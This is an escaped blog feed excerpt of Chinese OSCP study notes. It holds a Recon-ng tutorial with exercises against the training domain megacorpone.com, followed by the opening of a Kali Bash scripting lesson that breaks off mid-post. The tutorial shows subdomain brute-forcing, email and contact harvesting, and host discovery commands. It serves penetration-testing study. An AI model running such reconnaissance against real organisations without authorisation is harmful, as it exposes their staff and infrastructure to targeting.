&lt;p&gt;&lt;img alt="image-20250529155428264" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529155428264.png"&gt;&lt;/p&gt;
&lt;h3 id="2-基本工作流程"&gt;&lt;strong&gt;2. 基本工作流程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="初始化数据库"&gt;&lt;strong&gt;初始化数据库&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;首次使用时需创建数据库：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;workspaces create my_workspace &lt;span class="c1"&gt;# 创建工作区&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;workspaces load my_workspace &lt;span class="c1"&gt;# 加载工作区&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="查看模块"&gt;&lt;strong&gt;查看模块&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;列出所有可用模块：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;marketplace search
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529161811208" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529161811208.png"&gt;&lt;/p&gt;
&lt;p&gt;筛选特定模块（如域名枚举）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;marketplace search domain
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="加载模块"&gt;&lt;strong&gt;加载模块&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;例如查看，下载，加载 &lt;code&gt;whois_pocs&lt;/code&gt; 模块（通过 WHOIS 查找域名信息）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;marketplace info recon/domains-hosts/google_site_web
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;marketplace install recon/domains-hosts/google_site_web
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-contacts/whois_pocs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;back &lt;span class="c1"&gt;# 回到主界面&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529162333266" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529162333266.png"&gt;&lt;/p&gt;
&lt;h4 id="设置参数"&gt;&lt;strong&gt;设置参数&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;指定目标域名（以 &lt;code&gt;example.com&lt;/code&gt; 为例）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="执行模块"&gt;&lt;strong&gt;执行模块&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;运行当前加载的模块：（用代理运行）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529162559795" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529162559795.png"&gt;&lt;/p&gt;
&lt;h4 id="查看结果"&gt;&lt;strong&gt;查看结果&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;查看数据库中的收集结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;show hosts &lt;span class="c1"&gt;# 显示主机信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;show contacts &lt;span class="c1"&gt;# 显示邮箱/联系人&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529170458146" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529170458146.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250529170207120" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529170207120.png"&gt;&lt;/p&gt;
&lt;h3 id="3-常用模块示例"&gt;&lt;strong&gt;3. 常用模块示例&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="域名信息收集"&gt;&lt;strong&gt;域名信息收集&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/hackertarget
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529170408130" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529170408130.png"&gt;&lt;/p&gt;
&lt;h4 id="邮箱枚举需-api-密钥如-hunterio"&gt;&lt;strong&gt;邮箱枚举&lt;/strong&gt;（需 API 密钥，如 Hunter.io）
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-contacts/hunter_io
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;keys add hunter_api YOUR_API_KEY &lt;span class="c1"&gt;# 替换为实际 API 密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE example.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="子域名爆破使用-bruteforce-字典"&gt;&lt;strong&gt;子域名爆破&lt;/strong&gt;（使用 bruteforce 字典）：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/brute_hosts
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; WORDLIST /usr/share/wordlists/subdomains-top1million.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529171229058" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529171229058.png"&gt;&lt;/p&gt;
&lt;h4 id="ip-关联主机发现使用-shodan"&gt;&lt;strong&gt;IP 关联主机发现&lt;/strong&gt;（使用 Shodan）：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/shodan_hostname
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;keys add shodan_api YOUR_API_KEY &lt;span class="c1"&gt;# 替换为 Shodan API 密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE 192.168.1.1 &lt;span class="c1"&gt;# 设置目标 IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-高级技巧"&gt;&lt;strong&gt;4. 高级技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;批量执行模块&lt;/strong&gt;：
使用 &lt;code&gt;resource&lt;/code&gt; 命令批量运行脚本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;resource /path/to/script.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;脚本内容示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/hackertarget
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE example.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-contacts/whois_pocs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;导出数据&lt;/strong&gt;：
将结果导出为 CSV：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;show contacts &lt;span class="nb"&gt;export&lt;/span&gt; /home/kali/contacts.csv
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;show hosts &lt;span class="nb"&gt;export&lt;/span&gt; /home/kali/hosts.csv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API 密钥管理&lt;/strong&gt;：
添加或查看已配置的 API 密钥：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;keys add shodan_api YOUR_KEY &lt;span class="c1"&gt;# 添加密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;keys list &lt;span class="c1"&gt;# 列出所有密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="练习exercise"&gt;练习&lt;em&gt;Exercise&lt;/em&gt;
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;(Reporting is not required for this exercise)&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Use the &lt;strong&gt;recon/domains-hosts/google_site_web&lt;/strong&gt; and &lt;strong&gt;recon/hosts-hosts/resolve&lt;/strong&gt; modules to gather information on MegaCorp One.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Take some time to explore other recon-ng modules.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;strong&gt;recon/domains-hosts/google_site_web&lt;/strong&gt; 和 &lt;strong&gt;recon/hosts-hosts/resolve&lt;/strong&gt; 模块收集 &lt;strong&gt;MegaCorp One&lt;/strong&gt; 的信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;探索其他 Recon-ng 模块。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="1-启动-recon-ng-并创建工作区"&gt;&lt;strong&gt;1. 启动 Recon-ng 并创建工作区&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;recon-ng # 启动工具
workspaces create megacorp_one # 创建名为 megacorp_one 的工作区
workspaces load megacorp_one # 加载工作区
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-使用-google_"&gt;&lt;strong&gt;2. 使用 google_site_web 模块发现子域名&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 加载模块
modules load recon/domains-hosts/google_site_web

# 设置目标域名（假设目标域名为 megacorpone.com）
options set SOURCE megacorpone.com

# 执行模块
run
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：
通过 Google 搜索语法 &lt;code&gt;site:megacorpone.com&lt;/code&gt; 查找所有关联子域名（如 &lt;code&gt;dev.megacorpone.com&lt;/code&gt;、&lt;code&gt;api.megacorpone.com&lt;/code&gt; 等），并将结果保存到数据库。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250529173407673" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529173407673.png"&gt;&lt;/p&gt;
&lt;h4 id="3-使用-resolve-模块解析主机名-ip"&gt;&lt;strong&gt;3. 使用 resolve 模块解析主机名 IP&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 加载模块
modules load recon/hosts-hosts/resolve

# 自动从数据库读取上一步发现的子域名，无需手动设置 SOURCE

# 执行模块
run
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：
将发现的子域名解析为 IP 地址（例如 &lt;code&gt;dev.megacorpone.com → 192.168.1.100&lt;/code&gt;），结果存储在 &lt;code&gt;hosts&lt;/code&gt; 表中。&lt;/p&gt;
&lt;h4 id="4-查看收集结果"&gt;&lt;strong&gt;4. 查看收集结果&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;show hosts # 显示所有主机名及其解析的 IP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250529173526053" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529173526053.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 探索其他常用模块&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以下为扩展操作示例，帮助进一步信息收集：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;子域名爆破&lt;/strong&gt;（使用字典爆破）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/domains-hosts/brute_hosts
options set SOURCE megacorpone.com
options set WORDLIST /usr/share/wordlists/subdomains-top1million.txt
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;邮箱枚举&lt;/strong&gt;（需 Hunter.io API 密钥）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/domains-contacts/hunter_io
keys add hunter_api YOUR_API_KEY # 替换为实际 API 密钥
options set SOURCE megacorpone.com
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;端口扫描&lt;/strong&gt;（使用 Bing 搜索引擎发现开放端口）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/hosts-ports/bing_ip
options set SOURCE 192.168.1.100 # 替换为目标 IP
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;WHOIS 查询&lt;/strong&gt;（获取域名注册信息）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;modules load recon/domains-contacts/whois_pocs
options set SOURCE megacorpone.com
run
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day14 Kali的Bash脚本</title><link>https://ruajingjing.top/post/day14-kali%E7%9A%84bash%E8%84%9A%E6%9C%AC/</link><pubDate>Fri, 16 May 2025 16:24:22 +0000</pubDate><guid>https://ruajingjing.top/post/day14-kali%E7%9A%84bash%E8%84%9A%E6%9C%AC/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day14 Kali的Bash脚本" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="bash脚本基础"&gt;Bash脚本基础
&lt;/h2&gt;&lt;p&gt;新建一个&lt;code&gt;hello-world.sh&lt;/code&gt;文件，写入以下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#Hello world Bash Script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello world!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后给脚本添加执行权限后运行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod +x hello-world.sh 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;./hello-world.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516132311698" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516132311698.png"&gt;&lt;/p&gt;
&lt;h2 id="变量"&gt;变量
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;s1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;hello
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;s2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;world
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;s3&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;I am Hacker&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$s2&lt;/span&gt; &lt;span class="nv"&gt;$s2&lt;/span&gt; &lt;span class="nv"&gt;$s3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516132613788" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516132613788.png"&gt;&lt;/p&gt;
&lt;p&gt;参数里面套命令，推荐用&lt;code&gt;$()&lt;/code&gt;的用法，` 是过时的用法。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;user1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;whoami&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;user2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;whoami&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$user1&lt;/span&gt; &lt;span class="nv"&gt;$user2&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516133017421" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516133017421.png"&gt;&lt;/p&gt;
&lt;h2 id="参数"&gt;参数
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$0&lt;/span&gt; 脚本文件名自己
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;-&lt;span class="nv"&gt;$9&lt;/span&gt; bash脚本的前九个参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$#&lt;/span&gt; 传递给bash脚本的参数数量
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$@&lt;/span&gt; 传递给bash 脚本的所有参数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$?&lt;/span&gt; 最近运行的程序的退出状态
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt; 运行脚本的用户的用户名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$HOSTNAME&lt;/span&gt; 计算机的主机名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$RANDOM&lt;/span&gt; 生成一个随机数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$LINENO&lt;/span&gt; 脚本中的当前行号
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;新建一个脚本写入如下内容。&lt;/p&gt;
